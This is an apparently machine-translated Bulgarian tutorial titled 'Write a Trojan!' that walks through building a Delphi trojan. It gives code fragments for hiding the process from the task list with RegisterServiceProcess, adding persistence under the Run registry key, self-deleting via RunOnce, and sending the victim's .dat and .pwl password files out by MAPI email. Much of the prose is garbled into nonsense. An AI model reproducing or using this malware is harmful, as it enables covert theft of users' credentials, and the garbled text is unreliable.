Напиши троянски!

Напиши троянски!

Троянски коне, троянски коне, троянски коне. напиши им всъщност е доста проста, ако, разбира се, знам точно какво да пиша :-). Ето защо, ние първо трябва да се развие концепция, схема, план, при които ще работи троянците и този, който ще го използвам :-). Нека да напишете проста troyanchik която е в контакт с компютъра ще подаде baggla (шотландски фолклор - това малко същество, за да се помогне на човек в къщата, която е нещо като нашите къщи) и ще, например, всеки месец редовно изпраща emylnoy файл с пощата на потребителя .dat. (Въвеждане на потребител%% .pwl оставям на читателя - за римейк / покритие ще бъде лесно). По-конкретно, а нашият мир, той тихо се оттегли от катастрофата на ЗМИ, да речем, от няколко месеца на работа (т.е., два или три "поща listservs") :-).







И ще напиша на Делфи, тъй като тя е практически най-лесният и най-достъпен език за начинаещи програмист. И за един прост човек, който има достатъчно опит с компютъра, всичко тук е доста прозрачен за разбирането.

Контракциите, делириум, загуба на съзнание

Първото нещо. Не, не и самолети :-). Първата стъпка е да заковавам всички прозорци новосъздадени (с помощта на File | New Application) проект в Делфи, сложи включително основната форма. Проектът не е необходимо да заковат :-). За да видите какво е останало, можете да мушкам "сива създание с дълга опашка" в View | Проект източника. Приблизително тя ще изглежда така:


Всичко, което се отнася до приложението, можете да премахнете - троянски коне трябва да бъдат спокойни, така че не се изискват всякакви изскачащи прозорци и бутони в лентата на задачите. Необходимо е да се премахне и линията, а не да дръпне с ненужни икони и други Labuda, така че е трудно да се мотае Delphi. Форми също ще бъдат изтрити, тъй като формите ние не трябва :-). Но ще трябва да свържете няколко други модули, които действително ще бъдат включени (!):







Windows, // тук описват почти всички документирани доклади и

// функция библиотека Vindovz

Вписванията, // този модул за работа с системния регистър

Мапи, // а това - за изпращане и получаване на електронна поща

// и не само. Но ние сме само изпращане ;-)

SysUtils; // подкрепа библиотека - полезни функции за

// низ и дата / час.

Преди да се пристъпи към създаването на пощенски :-), за да се уверите, че всичко ще бъде напълно невидим. Естествено, мигащите светлини на модема не крият, но всичко останало може да се включи, без шум и прах. Проблемите с панел троянски не светят, защото той не разполага с главния прозорец и, съответно, няма място, за да превключите фокус. Но от Ctrl + Alt + дел, т.е. списъкът с всички задачи, той ще блестят - и как! Но този проблем може да бъде решен просто - достатъчно, за да се прави на невинен skrinsaverom да Vindovz не го покажем в този списък. За да направите това, използвайте специална функция RegisterServiceProcess. За съжаление, тази функция не е описано в стандартните модули Delphi, така че трябва да го опиша по своя собствена и да се създаде подходяща процедура на разговор:

процедура RegisterServiceProcess; външни "kernel32.dll" име "RegisterServiceProcess";

процедура Скрий; асемблер;


Излязох. На живо. От подадените гласове.

Ние използваме обект TRegistry за тези цели:

ако OpenKey ( "SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run", True), след това

ако Str <> ParamStr (0) след това WriteString ( "ExplorerService ', ParamStr (0));

В допълнение, ние пишат и DateResolve DateExpiration - датата, след която трябва да се намали само прикован мършата му пред него. Но как да го направя, ако не и vindovz дава достъп (за да изтрият или запис), от която да управлението файла? Вие може значително извратил с различни параметри или да създадете BATniki, но в този случай това е много по-лесно да го направите:
ако Xapakipi след това

WriteString ( "LMD", "дел" '+ ParamStr (0) +' '');


Това е само за да сложи отстраняването на собствения си файл в RunOnce - след линията ще бъде изтрит автоматично от системата. И все пак - потребителят може дори да не знае никога, по някаква причина той се обърна на няколко часа INETA по-малко от нормалното.

За пореден път, за да не светне (потребителско умен :-P изчезнал), можете бързо да го наричат ​​на ден, ако не трябва да изпратите нещо:


ако не Изпрати след излизане;

ако MAPILogon (0, нула, нула, 0, 0, @Handle) = 0, тогава

lpszNoteText: доставка съобщение = '. уведомление система v.01 | ";